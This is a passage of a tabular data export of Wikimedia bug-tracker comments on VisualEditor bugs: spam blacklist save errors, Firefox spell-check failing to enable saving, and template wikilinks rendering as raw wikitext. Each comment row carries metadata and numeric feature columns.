**Attached**: {F11276}",,,1373495540,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,15.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,6.0,0.0,15.0,2.0,0.0,9.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,4.0,6.0,9.0,0.0,0.0,0.0,4.0,0.0,4.0,4.0,2.0,0.0,0.0,0.0,0.0,3.851063829787234,0.8936170212765957,"Created attachment 12821
Developer console dump

A very helpful user in #wikipedia-en-help gave me this screenshot of what we get back from the API when TitleBlacklist rejects an edit.

**Attached**: {F11276}"
237243,VisualEditor: Add support for spam blacklist errors in save dialog,*** Bug 51139 has been marked as a duplicate of this bug. ***,,,1373495139,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-redwc5kkxwdmnoyvkj7r,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51139 has been marked as a duplicate of this bug. ***
52822,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"Quote: Using Firefox 19.0.2 on Windows Vista, editing Relativity Media. Find ""subsidairies"", right-click, select ""subsidiaries"". The word appears changed, but the ""Save"" button is not activated.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=63462
https://bugzilla.wikimedia.org/show_bug.cgi?id=63395
https://bugzilla.wikimedia.org/show_bug.cgi?id=59748",High,80.0,1373050560,1415058499.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_description,resolved,True,c1,3,True,False,False,0,,0.0,0.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,23.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,1.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.581081081081081,0.581081081081081,"Quote: Using Firefox 19.0.2 on Windows Vista, editing Relativity Media. Find ""subsidairies"", right-click, select ""subsidiaries"". The word appears changed, but the ""Save"" button is not activated.

--------------------------
**Version**: unspecified
**Severity**: major
**See Also**:
URL
URL
URL"
237062,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"As far as I can tell, these issues have all been fixed now. However, there's bug 72929 which I've opened for a new issue that's developed in the past few weeks.",,,1415058499,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,70,,5.0,0.0,0.0,3.0,0.0,8.0,0.0,0.0,0.0,0.0,11.0,3.0,0.0,0.0,3.0,5.0,0.0,11.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,11.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,3.0,11.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,3.0,0.0,0.0,0.0,0.0,0.0,3.4210526315789473,0.8947368421052632,"As far as I can tell, these issues have all been fixed now. However, there's bug 72929 which I've opened for a new issue that's developed in the past few weeks."
237057,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"I have issues with this locally as well (Iceweasel/Firefox 24.4.0 with VE 3b3a66763ade397b857e35efe8990ac217e5d54c , in debug mode.

In my case, when I try correct the word, it does change in that spot (fixing the misspelling), and the save button enables.  However, the change also appears at the beginning of the document. In this case the required spelling fix was adding an 'r' (occurence. to occurrence), so an 'r' ended up at the beginning of the ContentEditable.

However, in Review Changes (and the actual save), it then drops the original correction, and *only* puts the wrong edit at the beginning.",,,1399014057,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,43,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,4.5,3.0,0.0,1.0,0.0,1.5,0.5,6.0,8.5,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.5,0.0,0.0,0.0,4.0,0.0,1.5,1.0,0.0,0.5,0.0,0.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,13.0,0.0,2.0,0.0,0.5,0.0,0.0,0.0,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,1.0,7.0,0.5,2.0,11.5,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.0,3.0,8.5,4.5,0.0,3.0,0.0,3.0,0.0,0.5,1.5,0.0,1.5,0.0,0.0,0.0,3.906177156177156,0.701981351981352,"I have issues with this locally as well (Iceweasel/Firefox 24.4.0 with VE 3b3a66763ade397b857e35efe8990ac217e5d54c , in debug mode.

In my case, when I try correct the word, it does change in that spot (fixing the misspelling), and the save button enables.  However, the change also appears at the beginning of the document. In this case the required spelling fix was adding an 'r' (occurence. to occurrence), so an 'r' ended up at the beginning of the ContentEditable.

However, in Review Changes (and the actual save), it then drops the original correction, and *only* puts the wrong edit at the beginning."
237052,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"Tried to duplicate this with FF 28 on a variety of typos on different pages.  Ran into Bug 63395 a lot, but was able to save after using FF autocorrect to alter the typo text. (On a side note, hilariously, FF autocorrect suggests that ""autocorrect"" should be changed to ""autocrat"":))",,,1398191795,,PHID-USER-ttyyrgsrkyonct7hizgv,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,False,,,42,,0.0,0.0,0.0,2.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,19.0,0.0,5.0,2.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,3.0,11.0,2.0,2.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,19.0,10.0,0.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,3.774193548387097,0.7419354838709677,"Tried to duplicate this with FF 28 on a variety of typos on different pages.  Ran into Bug 63395 a lot, but was able to save after using FF autocorrect to alter the typo text. (On a side note, hilariously, FF autocorrect suggests that ""autocorrect"" should be changed to ""autocrat"":))"
237047,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,*** Bug 52372 has been marked as a duplicate of this bug. ***,,,1398187598,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,42,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 52372 has been marked as a duplicate of this bug. ***
237042,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"No i don't know, it's a report from the VE/Feedback page.",,,1373157962,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,6.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,18.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,12.0,6.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.764705882352941,1.0,"No i don't know, it's a report from the VE/Feedback page."
237036,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,(Assigning to me absent confirmation that this problem is reproducible.),,,1373157358,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,15.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,8.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,8.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,15.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,4.846153846153846,1.0,(Assigning to me absent confirmation that this problem is reproducible.)
237032,VisualEditor: Using browser native interactive spell-check tool breaks in Firefox,"(In reply to comment #0)
> Quote: Using Firefox 19.0.2 on Windows Vista, editing Relativity Media. Find
> ""subsidairies"", right-click, select ""subsidiaries"". The word appears changed,
> but the ""Save"" button is not activated.

Odd. I get the save dialog activated on making a spelling-correction changes in both Chrome and Firefox, including on that particular word in that particular page. Saved example: https://en.wikipedia.org/w/index.php?title=Relativity_Media&diff=563012676&oldid=559815961

Is the user using a non-standard way of doing the spell-correcting, do you know?",,,1373052311,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-2cs7ruqdiqeaisw3iea4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,4.0,1.0,0.0,3.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,15.0,0.0,3.0,10.0,0.0,0.0,0.0,1.0,3.0,0.0,1.0,0.0,3.0,10.0,7.0,1.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,6.0,0.0,0.0,0.0,3.704225352112676,0.7746478873239436,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE

Odd. I get the save dialog activated on making a spelling-correction changes in both Chrome and Firefox, including on that particular word in that particular page. Saved example: URL

Is the user using a non-standard way of doing the spell-correcting, do you know?"
52801,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Template inspector before closing

Wikilinks like [[Foo|Bar]] are shown expanded in template inspector after closing it, see screenshots. 

Steps to reproduce:

1. Edit a template which has wikilinks like [[Foo|Bar]] as a parameter value
2. Close the template inspector, with or w/o changes does not matter.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://de.wikipedia.org/wiki/VRB_H_2/3

**Attached**: {F11204}",High,80.0,1373030040,1373559177.0,PHID-USER-3uecblbxq24ycewm2cog,False,,False,PHID-TASK-js6dahlv3jujgj6b2lzv,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,0.5,1.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,5.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.5,0.0,2.0,0.5,10.0,0.0,1.0,2.5,0.0,0.0,0.0,0.0,3.5,0.0,0.5,0.0,0.5,5.5,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.0,1.0,0.0,0.0,4.5,3.6792156862745093,0.6229411764705883,"Template inspector before closing

Wikilinks like [[Foo|Bar]] are shown expanded in template inspector after closing it, see screenshots. 

Steps to reproduce:

1. Edit a template which has wikilinks like [[Foo|Bar]] as a parameter value
2. Close the template inspector, with or w/o changes does not matter.

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL

**Attached**: {F11204}"
235877,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"We've now fixed this in master, and will back-port to production.",,,1373559177,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.4375,1.0,"We've now fixed this in master, and will back-port to production."
235874,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Change 73173 merged by jenkins-bot:
Prevent escaping of piped links in wikitext parameters

https://gerrit.wikimedia.org/r/73173",,,1373558760,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,32.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,16.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.7894736842105265,1.0,"Change 73173 merged by jenkins-bot:
Prevent escaping of piped links in wikitext parameters

GERRIT_URL"
235868,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Change 73173 had a related patch set uploaded by Esanders:
Piped links in wikitext parameters getting escaped

https://gerrit.wikimedia.org/r/73173",,,1373553974,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,19.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,0.0,5.0476190476190474,1.0,"Change 73173 had a related patch set uploaded by Esanders:
Piped links in wikitext parameters getting escaped

GERRIT_URL"
235862,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,This is a wikitext escaping bug in VE,,,1373553234,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,25.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,3.75,1.0,This is a wikitext escaping bug in VE
235857,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"Screenshot of different phases:

http://cl.ly/image/1X0I281n1n0G
1) PHP rendering on Read
2) VE initial rendering after Edit
3) VE rendering after opening Template dialog and making no changes and clicking Apply changes

Dirty diff: http://cl.ly/image/241h1I3T1d2d",,,1373547246,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,5.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,9.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,4.090909090909091,0.7045454545454546,"Screenshot of different phases:

URL
1) PHP rendering on Read
2) VE initial rendering after Edit
3) VE rendering after opening Template dialog and making no changes and clicking Apply changes

Dirty diff: URL"
235851,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"It doesn't show in the diff, it only shown in the live rendering in VisualEditor.",,,1373547049,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,0.0,17.0,6.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,11.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,11.0,17.0,6.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.8333333333333334,"It doesn't show in the diff, it only shown in the live rendering in VisualEditor."
235849,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,Can you create a broken diff on that article for me?,,,1373546964,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,17.0,17.0,0.0,8.0,0.0,0.0,17.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,3.5,1.0,Can you create a broken diff on that article for me?
235846,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"As can I, hence the duplicate bugs. Firefox 22, Windows 7.",,,1373544903,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,27.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,7.0,7.0,13.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.2,0.8666666666666667,"As can I, hence the duplicate bugs. Firefox 22, Windows 7."
235842,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,"(In reply to comment #4)
> Can't reproduce this at the example URL.

I can still reproduce it :-(",,,1373544652,,PHID-USER-3uecblbxq24ycewm2cog,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,12.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,12.0,0.0,6.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,"(In reply to comment #4)
QUOTE

I can still reproduce it :-("
235837,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,Can't reproduce this at the example URL.,,,1373543860,,PHID-USER-it53o2f2kyryqyj33uzt,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,22.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7777777777777777,1.0,Can't reproduce this at the example URL.
235831,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,*** Bug 51014 has been marked as a duplicate of this bug. ***,,,1373521095,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 51014 has been marked as a duplicate of this bug. ***
235825,VisualEditor: Changing templates makes wikilinks ([[Foo|Bar]]) render as raw wikitext instead of parsed,*** Bug 50909 has been marked as a duplicate of this bug. ***,,,1373354186,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-js6dahlv3jujgj6b2lzv,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50909 has been marked as a duplicate of 